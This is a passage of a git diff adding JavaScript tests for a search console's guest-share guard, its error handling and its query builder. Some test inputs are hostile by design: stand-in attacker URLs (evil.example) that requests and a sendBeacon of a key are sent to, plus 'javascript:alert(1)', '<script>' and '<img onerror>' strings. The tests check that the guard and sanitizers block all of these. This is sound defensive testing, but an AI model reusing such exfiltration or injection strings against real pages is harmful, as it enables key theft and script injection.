match_all: {} } });++ // Not in the share → refused locally: no request, so no key leaves the page.+ for (const args of [['search', { indices: ['other'] }], ['search', { indices: ['*'] }], ['nope', {}]]) {+ await assert.rejects(() => guestRequest(s, ...args, { fetch: f, now: () => NOW }), (e) => e instanceof GuestError && e.kind === 'blocked');+ }+ await assert.rejects(() => guestRequest(share({ brain: null }), 'ego', { query: { node: 'x' } }, { fetch: f, now: () => NOW }), (e) => e.kind === 'blocked');+ assert.equal(f.calls.length, 1, 'refused calls never reach fetch');++ // Expired → refused locally too.+ await assert.rejects(() => guestRequest(s, 'search', { indices: ['ax-inbox'] }, { fetch: f, now: () => s.expires_at + 1 }), (e) => e.kind === 'expired');+ assert.equal(f.calls.length, 1);+});++test('a refusal carries a kind and a status — never the engine\'s words', async () => {+ const s = share();+ const cases = [[401, 'unauthorized'], [403, 'forbidden'], [404, 'not-found'], [500, 'http'], [429, 'http']];+ for (const [status, kind] of cases) {+ const f = fakeFetch(() => json(status, ENGINE_403_BODY));+ let err;+ try { await guestRequest(s, 'search', { indices: ['ax-inbox'] }, { fetch: f, now: () => NOW }); } catch (e) { err = e; }+ assert.ok(err instanceof GuestError, `HTTP ${status}`);+ assert.equal(err.kind, kind);+ assert.equal(err.status, status);+ const everything = JSON.stringify({ ...err, message: err.message, stack: String(err.stack) });+ for (const marker of LEAK_MARKERS) assert.ok(!everything.includes(marker), `HTTP ${status}: error leaks ${marker}`);+ assert.ok(!everything.includes(KEY), 'the error never carries the key');+ }+ const down = fakeFetch(() => { throw new TypeError('Failed to fetch'); });+ await assert.rejects(() => guestRequest(s, 'search', { indices: ['ax-inbox'] }, { fetch: down, now: () => NOW }), (e) => e.kind === 'network');+ assert.deepEqual([...FATAL_KINDS].sort(), ['expired', 'unauthorized']);+});++test('reader-api over the guest transport: a 403 is an empty, labelled result — nothing invented, nothing leaked', async () => {+ const s = share();+ const f = fakeFetch((url) => (url.includes('_mapping') ? json(200, { 'ax-inbox': { mappings: { properties: { body: { type: 'semantic_text' } } } } }) : json(403, ENGINE_403_BODY)));+ const api = makeReaderApi(makeGuestTransport(s, { fetch: f, now: () => NOW }));+ const r = await api.search('ax-inbox', { q: 'salary' });+ assert.deepEqual(r.hits, []);+ assert.equal(r.total, 0);+ assert.equal(r.error, 'not permitted');+ assert.equal(r.kind, 'forbidden');+ const rec = await api.fetchRecord('ax-inbox', 'x');+ assert.equal(rec.hit, null);+ assert.equal(rec.error, 'not permitted');+ const sum = await api.indexSummary('ax-inbox');+ assert.equal(sum.records, 0);+ assert.equal(sum.error, 'not permitted');+ for (const out of [r, rec, sum]) for (const m of LEAK_MARKERS) assert.ok(!JSON.stringify(out).includes(m), m);++ // another index: refused before any request+ const before = f.calls.length;+ const other = await api.search('hr-salaries-2026', { q: 'x' });+ assert.equal(other.error, 'not part of this share');+ assert.deepEqual(other.hits, []);+ assert.equal(f.calls.filter((c) => c.url.includes('hr-salaries')).length, 0);+ assert.ok(f.calls.length === before, 'no request was made for an index outside the share');++ // the graph: 403 → "denied" (a panel state), NOT the end of the session+ const ego = await api.fetchEgo('inbox', 'm1');+ assert.equal(ego.status, 'denied');+ assert.ok(!FATAL_KINDS.has(ego.kind));+ // another brain: never requested+ const n = f.calls.length;+ assert.equal((await api.fetchEgo('alice', 'm1')).status, 'no-brain');+ assert.equal(f.calls.length, n);+ // a guest's brain is the share's, whatever the URL hint says+ assert.equal(await api.resolveBrain('ax-inbox', 'alice'), 'inbox');+});++test('a 401 is fatal (the key was revoked): the view must log the guest out', async () => {+ const s = share();+ const f = fakeFetch(() => json(401, ENGINE_403_BODY));+ const api = makeReaderApi(makeGuestTransport(s, { fetch: f, now: () => NOW }));+ const r = await api.search('ax-inbox', { q: '' });+ assert.equal(r.kind, 'unauthorized');+ assert.ok(FATAL_KINDS.has(r.kind));+ assert.deepEqual(r.hits, []);+ const rec = await api.fetchRecord('ax-inbox', 'x');+ assert.ok(FATAL_KINDS.has(rec.kind));+});++test('the fetch guard refuses everything but the share\'s own operations', async () => {+ const s = share();+ const reached = [];+ const win = {+ location: { href: 'http://localhost:9550/_xerj-console/#/reader', origin: 'http://localhost:9550' },+ Response: globalThis.Response,+ fetch: async (input, init) => { reached.push(`${(init && init.method) || 'GET'} ${typeof input === 'string' ? input : input.url}`); return new Response('{}', { status: 200 }); },+ };+ installGuestGuard(s, win);+ const guarded = win.fetch;+ installGuestGuard(s, win);+ assert.equal(win.fetch, guarded, 'idempotent');++ const blocked = [+ ['/_xerj-console/api/v1/me'], ['/_xerj-console/api/v1/prefs'], ['/_xerj-console/api/v1/dashboards'],+ ['/_xerj-console/api/v1/data-sources/connections/built-in/indices'], ['/_cat/indices/.xerj-memory-*'], ['/_mapping'], ['/v1/metrics'],+ ['/other/_search', { method: 'POST' }], ['/ax-inbox/_doc/1', { method: 'PUT' }], ['/ax-inbox', { method: 'DELETE' }],+ ['https://evil.example/k?x'], ['//evil.example/k'], ['http://localhost:9551/ax-inbox/_search', { method: 'POST' }],+ [{ url: 'https://evil.example/req', method: 'POST' }], ['http://[::1'],+ ];+ for (const [input, init] of blocked) {+ const r = await win.fetch(input, init);+ assert.equal(r.status, 403, JSON.stringify(input));+ assert.deepEqual(await r.json(), { error: { type: 'guest_blocked' } });+ }+ assert.deepEqual(reached, [], 'nothing refused ever reached the network');+ assert.equal(win.__xerjGuestBlocked.length, blocked.length);++ await win.fetch('/ax-inbox/_search', { method: 'POST' });+ await win.fetch('/ax-inbox/_mapping');+ await win.fetch('/_graph/inbox/ego?node=x');+ assert.deepEqual(reached, ['POST /ax-inbox/_search', 'GET /ax-inbox/_mapping', 'GET /_graph/inbox/ego?node=x']);+});++test('the guard also covers XMLHttpRequest and sendBeacon — same allow-list, same origin rule', () => {+ // PR #945 review: only `fetch` was wrapped; an XHR from page code reached+ // the server (and got 401 there). The guard is a tripwire, not the boundary,+ // but a tripwire with a hole is a false statement in the docs.+ const s = share();+ const opened = [];+ const beaconed = [];+ class FakeXHR { open(method, url) { opened.push(`${method} ${url}`); } }+ const win = {+ location: { href: 'http://localhost:9550/_xerj-console/#/reader', origin: 'http://localhost:9550' },+ Response: globalThis.Response, DOMException: globalThis.DOMException,+ fetch: async () => new Response('{}', { status: 200 }),+ XMLHttpRequest: FakeXHR,+ navigator: { sendBeacon: (url) => { beaconed.push(url); return true; } },+ };+ installGuestGuard(s, win);+ installGuestGuard(s, win);+ const x = new FakeXHR();+ for (const [m, u] of [['GET', '/_xerj-console/api/v1/me'], ['POST', '/other/_search'], ['GET', 'https://evil.example/k'], ['DELETE', '/ax-inbox'], ['GET', '/_cat/indices']]) {+ assert.throws(() => x.open(m, u), (e) => e.name === 'SecurityError', `${m} ${u}`);+ }+ assert.deepEqual(opened, [], 'nothing refused reached XMLHttpRequest.open');+ x.open('POST', '/ax-inbox/_search'); x.open('get', '/ax-inbox/_mapping'); x.open('GET', '/_graph/inbox/ego?node=x');+ assert.deepEqual(opened, ['POST /ax-inbox/_search', 'get /ax-inbox/_mapping', 'GET /_graph/inbox/ego?node=x'], 'the share\'s own operations pass through unchanged');+ assert.equal(win.navigator.sendBeacon('https://evil.example/b', 'key'), false);+ assert.equal(win.navigator.sendBeacon('/_xerj-console/api/v1/audit', 'key'), false);+ assert.equal(win.navigator.sendBeacon('/ax-inbox/_count'), true, 'a beacon to a share operation is the same POST the guard already allows');+ assert.deepEqual(beaconed, ['/ax-inbox/_count']);+ assert.deepEqual(win.__xerjGuestBlocked, [+ 'XHR GET /_xerj-console/api/v1/me', 'XHR POST /other/_search', 'XHR GET https://evil.example', 'XHR DELETE /ax-inbox', 'XHR GET /_cat/indices',+ 'BEACON POST https://evil.example', 'BEACON POST /_xerj-console/api/v1/audit',+ ]);+ assert.ok(win.XMLHttpRequest.prototype.open.__xerjGuestGuard && win.navigator.sendBeacon.__xerjGuestGuard);+});++test('expiry fires once, re-checks the clock, and survives long timers', () => {+ const s = share({ expires_at: NOW + 150_000 });+ let now = NOW;+ const timers = [];+ const env = { now: () => now, setTimeout: (fn, ms) => { timers.push({ fn, ms }); return timers.length; }, clearTimeout: () => {}, maxStepMs: 60_000 };+ let fired = 0;+ watchExpiry(s, () => fired++, env);+ assert.equal(timers.at(-1).ms, 60_000, 'never sleeps past maxStepMs');+ now += 60_000; timers.at(-1).fn();+ now += 60_000; timers.at(-1).fn();+ assert.equal(timers.at(-1).ms, 30_000);+ assert.equal(fired, 0);+ now += 30_000; timers.at(-1).fn();+ assert.equal(fired, 1);+ timers.at(-1).fn();+ assert.equal(fired, 1, 'fires once');++ // a throttled background tab: the timer comes back late — still expires+ let late = 0;+ now = NOW;+ watchExpiry(s, () => late++, env);+ now += 10 * 86_400_000; timers.at(-1).fn();+ assert.equal(late, 1);++ // already expired at start+ let immediate = 0;+ watchExpiry(share({ expires_at: NOW + 1 }), () => immediate++, { ...env, now: () => NOW + 5 });+ assert.equal(immediate, 1);++ // cancel+ let cancelled = 0;+ now = NOW;+ const cancel = watchExpiry(s, () => cancelled++, env);+ cancel();+ now += 10 * 86_400_000; timers.at(-1).fn();+ assert.equal(cancelled, 0);+});++test('attachments collapse to each file\'s lowest page; highlight asks only for fields the index has', async () => {+ const s = share();+ const sent = [];+ const mid = '<m@x>';+ const pages = [3, 1, 2].map((p) => ({ _index: 'ax-inbox', _id: `big-${p}`, _source: { attachment_name: 'big.pdf', page: p, email_message_id: mid } }));+ const other = { _index: 'ax-inbox', _id: 'img', _source: { attachment_name: 'logo.png', email_message_id: mid } };+ const f = fakeFetch((url, init) => {+ if (url.includes('_mapping')) return json(200, { 'ax-inbox': { mappings: { properties: { body: { type: 'semantic_text' }, email_subject: { type: 'text' } } } } });+ sent.push(JSON.parse(init.body));+ return json(200, { hits: { total: { value: 4 }, hits: [...pages, other] } });+ });+ const api = makeReaderApi(makeGuestTransport(s, { fetch: f, now: () => NOW }));+ const rel = await api.fetchRelated({ _index: 'ax-inbox', _id: 'e', _source: { email_message_id: mid } });+ assert.deepEqual(rel.attachments.map((a) => a._id), ['big-1', 'img']);+ await api.search('ax-inbox', { q: 'invoice' });+ assert.deepEqual(Object.keys(sent.at(-1).highlight.fields), ['body', 'email_subject'], 'attachment_name is not in this mapping, so it is not requested');+ await api.search('ax-inbox', { q: '' });+ assert.equal(sent.at(-1).highlight, undefined, 'no query, no highlight');+ await api.search('ax-inbox', { q: 'x', type: 'semantic' });+ assert.equal(sent.at(-1).highlight, undefined);+});++test('minor (PR #945 review): a deep link survives the sign-in page — only ever as an in-console route', async () => {+ const { stashNext, takeNext, safeRoute, NEXT_KEY } = await import('../src/data/next-route.js');+ const st = storage();+ const link = '#/reader?index=ax-docs&id=3eeb8e72%22%3E&brain=case-file';+ assert.equal(stashNext(st, link), link);+ assert.equal(st.getItem(NEXT_KEY), link);+ assert.equal(takeNext(st), link);+ assert.equal(st.getItem(NEXT_KEY), null, 'read once');+ assert.equal(takeNext(st), '');+ // nothing but `#/…` route characters is kept — or returned, if something else wrote the key+ for (const bad of ['', '#', '#/', 'https://evil.example/', '#//evil.example', '//evil.example', 'javascript:alert(1)', '#/reader?x=javascript:alert(1)', '#/a b', '#/a<script>', `#/${'a'.repeat(3000)}`, null, 42]) {+ assert.equal(safeRoute(bad), '', `rejected: ${String(bad).slice(0, 40)}`);+ assert.equal(stashNext(st, bad), '');+ assert.equal(st.getItem(NEXT_KEY), null);+ }+ st.setItem(NEXT_KEY, 'https://evil.example/');+ assert.equal(takeNext(st), '', 'a planted value is dropped, and removed');+ assert.equal(st.getItem(NEXT_KEY), null);+ // a blocked storage is not an error+ const blocked = { getItem() { throw new Error('denied'); }, setItem() { throw new Error('denied'); }, removeItem() { throw new Error('denied'); } };+ assert.equal(stashNext(blocked, link), link);+ assert.equal(takeNext(blocked), '');+});++test('minor (PR #945 review): an ended share leaves a marker that holds the REASON and nothing else', async () => {+ const { markEnded, readEnded, clearEnded, ENDED_KEY } = await import('../src/data/guest.js');+ const st = storage();+ assert.equal(readEnded(st), null);+ markEnded(st, 'expired');+ assert.equal(st.getItem(ENDED_KEY), 'expired');+ assert.equal(readEnded(st), 'expired');+ markEnded(st, 'Z3Vlc3Qta2V5LWlkOnNlY3JldA=='); // anything that is not a known reason is not stored+ assert.equal(st.getItem(ENDED_KEY), 'invalid');+ st.setItem(ENDED_KEY, '<img src=x onerror=1>');+ assert.equal(readEnded(st), 'invalid', 'a planted value reads as "invalid", never as text');+ clearEnded(st);+ assert.equal(readEnded(st), null);+});diff --git a/xerj-ux/test/never-mock.test.mjs b/xerj-ux/test/never-mock.test.mjsnew file mode 100644index 000000000..43f763aab--- /dev/null+++ b/xerj-ux/test/never-mock.test.mjs@@ -0,0 +1,246 @@+// data/query.js — the views that show a person's OWN DOCUMENTS never fall+// back to the in-memory mock, whatever fails. Run: node --test xerj-ux/test/+import test from 'node:test';+import assert from 'node:assert/strict';++const calls = [];+let respond = () => { throw new TypeError('Failed to fetch'); };+globalThis.fetch = async (url, init) => { calls.push(String(url)); return respond(String(url), init); };+const json = (status, body) => ({ status, ok: status >= 200 && status < 300, json: async () => body, text: async () => JSON.stringify(body) });++const { query, NEVER_MOCK } = await import('../src/data/query.js');+const { resetSchemaCache } = await import('../src/data/schema.js');+const { previewRequest } = await import('../src/dashboards/search-discover.js');+const { buildSearchBody, buildQueryClause, QUERY_TYPES, requestPath, queryWords, queryProblem, queryPlaceholder } = await import('../src/data/search-body.js');+const { deriveRoles, withSearchField, MAX_TEXT_SEARCH_FIELDS } = await import('../src/data/schema-roles.js');+const { sampleQueryToSearch } = await import('../src/data/catalog.js');+const { searchFieldsOf } = await import('../src/data/search-body.js');++const LOOKS_FABRICATED = ['hits', 'datasets', 'summaries'];++test('engine unreachable: an error and zero rows — never a sample', async () => {+ respond = () => { throw new TypeError('Failed to fetch'); };+ for (const dashId of ['corpus', 'search-discover']) {+ resetSchemaCache();+ const r = await query({ dashId, search: { q: 'invoice', type: 'match', index: '*' } });+ assert.ok(NEVER_MOCK.has(dashId));+ assert.equal(r.meta.sourceKind, 'live-error', dashId);+ assert.ok(r.data.error, `${dashId} must carry the error`);+ for (const k of LOOKS_FABRICATED) assert.ok(!r.data[k] || r.data[k].length === 0, `${dashId}.${k} must be empty on failure`);+ assert.ok(!r.data.metrics && !r.data.series, `${dashId} must not receive the telemetry mock`);+ }+});++test('"could not ask" and "nothing indexed" read differently', async () => {+ resetSchemaCache();+ respond = () => json(401, {});+ let r = await query({ dashId: 'search-discover', search: { q: '', index: '*' } });+ assert.match(r.data.error, /could not read the index list \(HTTP 401\)/);+ resetSchemaCache();+ respond = (url) => (url.endsWith('/indices') ? json(200, { data: { indices: [{ name: 'autoindex-catalog', docs: 3 }, { name: '.xerj_users', docs: 1 }] } }) : json(404, {}));+ r = await query({ dashId: 'search-discover', search: { q: '', index: '*' } });+ assert.match(r.data.error, /nothing is indexed on this engine yet/);+ assert.deepEqual(r.data.hits, []);+});++test('the reader loads nothing through query() and claims nothing', async () => {+ const n = calls.length;+ const r = await query({ dashId: 'reader' });+ assert.equal(calls.length, n, 'query() makes no request for a self-fetching view');+ assert.equal(r.meta.sourceKind, 'pending');+ assert.ok(!/LIVE/.test(r.meta.sourceLabel));+ assert.ok(!r.data.hits && !r.data.metrics);+});++test('a telemetry dashboard may still use sample data — and is labelled so', async () => {+ const r = await query({ dashId: 'system' });+ assert.equal(r.meta.sourceKind, 'sample');+ assert.match(r.meta.sourceLabel, /SAMPLE DATA/);+});++test('Discover: `*` over two indices runs on one and SAYS which', async () => {+ resetSchemaCache();+ let sent = null;+ respond = (url, init) => {+ if (url.endsWith('/indices')) return json(200, { data: { indices: [{ name: 'ax-inbox', docs: 6 }, { name: 'ax-contracts', docs: 2 }, { name: 'autoindex-catalog', docs: 2 }] } });+ if (url.endsWith('/ax-inbox/fields')) return json(200, { data: { fields: [{ name: 'body', type: 'text', semantic: true }, { name: 'email_from', type: 'keyword', semantic: false }, { name: 'email_date', type: 'date', semantic: false }, { name: 'body_vector', type: 'vector', semantic: false }] } });+ if (url.endsWith('/ax-inbox/search')) { sent = JSON.parse(init.body); return json(200, { took: 3, hits: { total: { value: 1 }, max_score: 1.5, hits: [{ _index: 'ax-inbox', _id: 'm1', _score: 1.5, _source: { body: 'x', email_date: '2026-09-01T00:00:00Z' } }] }, aggregations: { by__index: { buckets: [{ key: 'ax-inbox', doc_count: 1 }] }, by_email_from: { buckets: [{ key: 'a@b', doc_count: 1 }] }, by_date: { buckets: [{ key_as_string: '2026-09-01T00:00:00.000Z', doc_count: 1 }] } } }); }+ return json(404, {});+ };+ const search = { q: 'term sheet', type: 'match', index: '*', filters: { email_from: 'a@b' }, sort: { field: '_score', dir: 'desc' } };+ const r = await query({ dashId: 'search-discover', search, filters: search.filters });+ assert.equal(r.data.resolvedIndex, 'ax-inbox');+ assert.equal(r.data.narrowed, true, 'two user indices → the page must say * was narrowed');+ assert.equal(r.data.roles.semanticField, 'body');+ assert.equal(r.data.roles.dateField, 'email_date');+ assert.deepEqual(r.data.facets.email_from, [{ label: 'a@b', value: 'a@b', count: 1 }]);+ assert.deepEqual(r.data.histogram, [{ label: '2026-09-01', value: 1 }]);+ assert.equal(r.data.hits[0]._ts, '2026-09-01T00:00:00Z');++ // #923 finding 8: what the REQUEST panel shows IS what was sent.+ assert.deepEqual(r.data.request, sent);+ const shown = previewRequest(search, { request: r.data.request, resolvedIndex: r.data.resolvedIndex, roles: r.data.roles });+ assert.deepEqual(shown.body, sent);+ assert.equal(shown.path, '/ax-inbox/_search');+ // …and before any answer, the preview is built by the same function.+ const before = previewRequest(search, { roles: r.data.roles });+ assert.deepEqual(before.body, buildSearchBody(search.q, search.type, search.filters, r.data.roles, { sort: search.sort }));+ assert.deepEqual(before.body.query.bool.must, sent.query.bool.must);+ assert.equal(requestPath(null), '/*/_search');+});++test('the query builder: real fields, an engine-accepted hybrid shape, no raw kNN', () => {+ assert.ok(!QUERY_TYPES.includes('knn'), 'the console cannot produce a query vector; it must not offer one');+ const roles = deriveRoles({ body: 'semantic_text', email_subject: 'text', email_from: 'keyword', ax_path: 'keyword', email_message_id: 'keyword', email_date: 'date' });+ assert.equal(roles.textField, 'body');+ assert.equal(roles.semanticField, 'body');+ assert.deepEqual(roles.keywordFields, ['email_from'], 'plumbing / id fields are not facets');+ assert.ok(roles.isEmail);+ const hybrid = buildQueryClause('earnout', 'hybrid', roles).hybrid;+ assert.deepEqual(hybrid.queries.map((e) => Object.keys(e).sort()), [['query', 'weight'], ['query', 'weight']]);+ assert.deepEqual(hybrid.fusion, { type: 'rrf', k: 60 });+ assert.deepEqual(buildQueryClause(' ', 'semantic', roles), { match_all: {} });+ assert.deepEqual(buildQueryClause('email_from = a@b ', 'term', roles), { term: { email_from: 'a@b' } });+ assert.deepEqual(buildQueryClause('page>=3', 'range', roles), { range: { page: { gte: 3 } } });+ assert.deepEqual(buildQueryClause('email_date>2026-01-01', 'range', roles), { range: { email_date: { gt: '2026-01-01' } } });+ // HYBRID carries no aggregations: a live node answers 400 "aggregations are+ // not supported with hybrid/fusion queries" otherwise, so every Discover+ // hybrid search used to fail.+ assert.equal(buildSearchBody('earnout', 'hybrid', {}, roles, {}).aggs, undefined);+ assert.ok(buildSearchBody('earnout', 'semantic', {}, roles, {}).aggs.by_email_from);+ // …and a facet filter goes into EACH leg: `bool{must: hybrid, filter}` returns+ // 0 hits on a live node and `post_filter` is ignored, both without an error.+ const hf = buildSearchBody('earnout', 'hybrid', { ax_format: 'eml' }, roles, {});+ assert.ok(hf.query.hybrid && !hf.query.bool && !hf.post_filter);+ for (const leg of hf.query.hybrid.queries) {+ assert.deepEqual(leg.query.bool.filter, [{ term: { ax_format: 'eml' } }]);+ // the lexical leg is the multi-field match (below); the other is semantic+ assert.ok((leg.query.bool.must.bool && leg.query.bool.must.bool.should.every((c) => c.match)) || leg.query.bool.must.semantic);+ assert.equal(typeof leg.weight, 'number');+ }+ assert.deepEqual(hf.query.hybrid.fusion, { type: 'rrf', k: 60 });+ assert.ok(buildSearchBody('', 'hybrid', {}, roles, {}).aggs, 'an empty hybrid box is match_all and keeps its facets');+ // log-shaped engine: nothing is hardcoded to autoindex's names+ const logs = deriveRoles({ message: 'text', level: 'keyword', '@timestamp': 'date' });+ assert.deepEqual(buildQueryClause('timeout', 'match', logs), { match: { message: 'timeout' } });+ assert.equal(logs.dateField, '@timestamp');+ const body = buildSearchBody('x', 'match', {}, logs, { aggs: false, size: 5 });+ assert.deepEqual(Object.keys(body).sort(), ['query', 'size', 'track_total_hits']);+ assert.equal(buildSearchBody('x', 'match', {}, logs, { sort: { field: '_score' } }).sort, undefined);+ assert.deepEqual(buildSearchBody('x', 'match', {}, logs, { sort: { field: 'level', dir: 'asc' } }).sort, [{ level: 'asc' }]);+});++test('MATCH / PHRASE / PREFIX search every text field plus the subject, title and attachment-name fields the index has — one OR-ed clause per field', () => {+ // PR #945 review: "Lunch" returned 0 results although an email's SUBJECT was+ // "Lunch on Friday?" — only `body` was searched. Now every title-like field+ // the mapping has is searched (and highlighted, reader-api.js).+ const roles = deriveRoles({ body: 'semantic_text', email_subject: 'text', title: 'text', attachment_name: 'text', email_from: 'keyword' });+ assert.deepEqual(roles.searchFields, ['body', 'email_subject', 'title', 'attachment_name']);+ assert.deepEqual(roles.keywordSearchFields, []);+ assert.deepEqual(searchFieldsOf(roles), roles.searchFields);+ const m = buildQueryClause('Lunch', 'match', roles);+ // The subject clause matches the MESSAGE's records: every attachment record+ // carries a copy of its parent's subject, and one hit per PDF page is noise.+ const subj = (c) => ({ bool: { must: [c], must_not: [{ exists: { field: 'attachment_name' } }] } });+ assert.deepEqual(m, { bool: { should: [+ { match: { body: 'Lunch' } }, subj({ match: { email_subject: 'Lunch' } }), { match: { title: 'Lunch' } }, { match: { attachment_name: 'Lunch' } },+ ], minimum_should_match: 1 } });+ assert.deepEqual(buildQueryClause('term sheet', 'phrase', roles).bool.should.map((c) => Object.keys(c.bool ? c.bool.must[0] : c)[0]), ['match_phrase', 'match_phrase', 'match_phrase', 'match_phrase']);+ assert.deepEqual(buildQueryClause('lun', 'prefix', roles).bool.should[1], subj({ prefix: { email_subject: 'lun' } }));+ // an index with no attachments has nothing to keep out of the subject clause+ assert.deepEqual(buildQueryClause('x', 'match', deriveRoles({ body: 'text', email_subject: 'text' })).bool.should[1], { match: { email_subject: 'x' } });+ // the lexical leg of HYBRID is the same clause+ assert.deepEqual(buildQueryClause('Lunch', 'hybrid', roles).hybrid.queries[0].query, m);+ // a filter wraps it once: bool{must: <should-clause>, filter}+ const body = buildSearchBody('Lunch', 'match', { email_from: '[email protected]' }, roles, { aggs: false });+ assert.deepEqual(body.query.bool.must, m);+ // `bool.should` and not `multi_match`: measured on a live node, multi_match+ // (best_fields) returns no highlight fragments; per-field clauses do.+ assert.ok(!JSON.stringify(m).includes('multi_match'));+ // one field → the plain clause, byte for byte as before (Discover's REQUEST panel)+ const one = deriveRoles({ body: 'text', level: 'keyword' });+ assert.deepEqual(one.searchFields, ['body']);+ assert.deepEqual(buildQueryClause('x', 'match', one), { match: { body: 'x' } });+ assert.deepEqual(buildQueryClause('x', 'prefix', one), { prefix: { body: 'x' } });+ assert.deepEqual(buildQueryClause('x y', 'phrase', one), { match_phrase: { body: 'x y' } });+ // no mapping (roles from `{}`): the text field only — nothing is guessed+ assert.deepEqual(buildQueryClause('x', 'match', deriveRoles({})), { match: { body: 'x' } });+ // an empty box is match_all whatever the fields+ assert.deepEqual(buildQueryClause(' ', 'match', roles), { match_all: {} });+ // paging: `from` only when there is an offset+ assert.equal(buildSearchBody('x', 'match', {}, one, { aggs: false }).from, undefined);+ assert.equal(buildSearchBody('x', 'match', {}, one, { aggs: false, from: 25 }).from, 25);+});++test('MAJOR (PR #945 review): a KEYWORD-typed subject / title / file name is searched by the words in it — `match` on a keyword needs the whole string', () => {+ // The mapping autoindex really wrote for the review's mailbox (live node,+ // 2026-09-19): every per-page attachment record copies its parent's subject,+ // the cardinality ratio collapses, and the inferrer picks `keyword`.+ // {"match":{"email_subject":"Lunch"}} → 0 ("Lunch on Friday?" exists)+ // {"wildcard":{"email_subject":{"value":"*lunch*","case_insensitive":true}}} → 1+ // The first version of this fix was tested only against a fake engine that+ // hardcoded `email_subject: text`.+ const roles = deriveRoles({ body: 'text', email_subject: 'keyword', title: 'keyword', attachment_name: 'keyword', email_from: 'keyword', page: 'long' });+ assert.deepEqual(roles.searchFields, ['body', 'email_subject', 'title', 'attachment_name']);+ assert.deepEqual(roles.keywordSearchFields, ['email_subject', 'title', 'attachment_name']);+ const has = (f, value) => ({ wildcard: { [f]: { value, case_insensitive: true } } });+ const subj = (c) => ({ bool: { must: [c], must_not: [{ exists: { field: 'attachment_name' } }] } });+ assert.deepEqual(buildQueryClause('Lunch', 'match', roles), { bool: { should: [+ { match: { body: 'Lunch' } }, subj(has('email_subject', '*Lunch*')), has('title', '*Lunch*'), has('attachment_name', '*Lunch*'),+ ], minimum_should_match: 1 } });+ // several words: OR, like `match` — a record matching more of them scores higher+ assert.deepEqual(buildQueryClause('Lunch on Friday?', 'match', roles).bool.should[2],+ { bool: { should: [has('title', '*Lunch*'), has('title', '*on*'), has('title', '*Friday*')], minimum_should_match: 1 } });+ assert.deepEqual(queryWords('résumé – 设计 v2.pdf'), ['résumé', '设计', 'v2', 'pdf'], 'words are runs of letters/digits in any script');+ // PHRASE is "contains this, as typed"; PREFIX is "starts with this" — both case-insensitive+ assert.deepEqual(buildQueryClause('Lunch on', 'phrase', roles).bool.should[2], has('title', '*Lunch on*'));+ assert.deepEqual(buildQueryClause('Lun', 'prefix', roles).bool.should[3], has('attachment_name', 'Lun*'));+ // nothing a person types can widen the pattern: * ? \ become "any one character"+ assert.deepEqual(buildQueryClause('a*b?c\\d', 'phrase', roles).bool.should[2], has('title', '*a?b?c?d*'));+ assert.deepEqual(buildQueryClause('***', 'match', roles).bool.should[2], has('title', '*???*'));+ // a title-like field of a type there is no clause for is not searched+ assert.deepEqual(deriveRoles({ body: 'text', title: 'long' }).searchFields, ['body']);+});++test('MAJOR (PR #945 review): EVERY text-typed field is searched — a record whose text lives in `text` is findable, and a sample query runs over its own field', () => {+ // Live node, 2026-09-19: autoindex's prose extractors write `body`, its line+ // extractor (Makefile, .ini) writes `text`; both land in ax-docs. The catalog's+ // own sample `{"match":{"text":"makefiletargetword"}}` returned 1 hit while the+ // Reader — which searched `body` only — returned 0 for the same word.+ const roles = deriveRoles({ body: 'text', text: 'semantic_text', notes: 'text', email_subject: 'keyword', ax_path: 'keyword' });+ assert.equal(roles.textField, 'body');+ assert.deepEqual(roles.searchFields, ['body', 'text', 'notes', 'email_subject'], 'preferred names first, then mapping order, then the title-like extras');+ assert.deepEqual(buildQueryClause('makefiletargetword', 'match', roles).bool.should.slice(0, 3), [+ { match: { body: 'makefiletargetword' } }, { match: { text: 'makefiletargetword' } }, { match: { notes: 'makefiletargetword' } },+ ]);+ // the cap bounds the request on a mapping with dozens of text fields, and says so+ const many = Object.fromEntries(Array.from({ length: MAX_TEXT_SEARCH_FIELDS + 5 }, (_, i) => [`t${i}`, 'text']));+ const capped = deriveRoles(many);+ assert.equal(capped.searchFields.length, MAX_TEXT_SEARCH_FIELDS);+ assert.equal(capped.searchFieldsCapped, true);+ assert.equal(roles.searchFieldsCapped, false);+ // a sample query's OWN field is always searched, whatever its rank or type+ assert.deepEqual(withSearchField(capped, `t${MAX_TEXT_SEARCH_FIELDS + 2}`).searchFields.at(-1), `t${MAX_TEXT_SEARCH_FIELDS + 2}`);+ const kw = withSearchField(roles, 'ax_path');+ assert.deepEqual(kw.searchFields.at(-1), 'ax_path');+ assert.ok(kw.keywordSearchFields.includes('ax_path'), 'a keyword sample field gets the contains clause, not `match`');+ assert.equal(withSearchField(roles, 'body'), roles, 'already searched: unchanged');+ assert.equal(withSearchField(roles, 'no_such_field'), roles, 'a field the mapping does not have changes nothing');+ assert.equal(withSearchField(roles, 'page'), roles);+ // and the catalog sample carries its field through (catalog.js)+ assert.deepEqual(sampleQueryToSearch({ body: { query: { match: { text: 'makefiletargetword' } }, size: 3 } }), { type: 'match', q: 'makefiletargetword', field: 'text' });+ assert.deepEqual(sampleQueryToSearch({ body: { query: { match_phrase: { body: { query: 'term sheet' } } } } }), { type: 'phrase', q: 'term sheet', field: 'body' });+ assert.deepEqual(sampleQueryToSearch({ body: { query: { hybrid: { queries: [{ query: { match: { text: 'x' } } }] } } } }), { type: 'hybrid', q: 'x', field: 'text' });+ assert.deepEqual(sampleQueryToSearch({ body: { query: { term: { title: 'A title' } } } }), { type: 'term', q: 'title=A title' });+});++test('minor (PR #945 review): TERM / RANGE with free text is refused with the syntax — it used to run match_all and show every record as a result', () => {+ assert.match(queryProblem('zebrafish', 'term'), /TERM needs field=value/);+ assert.match(queryProblem('hello', 'range'), /RANGE needs field>=value/);+ for (const [q, type] of [['ax_format=eml', 'term'], ['page>=2', 'range'], ['', 'term'], [' ', 'range'], ['zebrafish', 'match'], ['x', 'semantic']]) {+ assert.equal(queryProblem(q, type), null, `${type} "${q}" runs`);+ }+ assert.match(queryPlaceholder('term'), /field=value/);+ assert.match(queryPlaceholder('range'), /field>=value/);+ assert.match(queryPlaceholder('match'), /search this corpus/);+});diff --git a/xerj-ux/test/reader-api.test.mjs b/xerj-ux/test/reader-api.test.mjsnew file mode 100644index 000000000..c113e941f--- /dev/null+++ b/xerj-ux/test/reader-api.test.mjs@@ -0,0 +1,163 @@+// data/reader-api.js — the file record, and why an email's graph panel walks+// its FILE's links too. Run: node --test xerj-ux/test/+//+// Shapes below are copied from a real `xerj brain` run over a folder of .eml+// files (docs/usecases/console-reader/): autoindex writes ONE record per file+// (`ax_locator: "file"`, no body) plus one per message / attachment page, and+// its 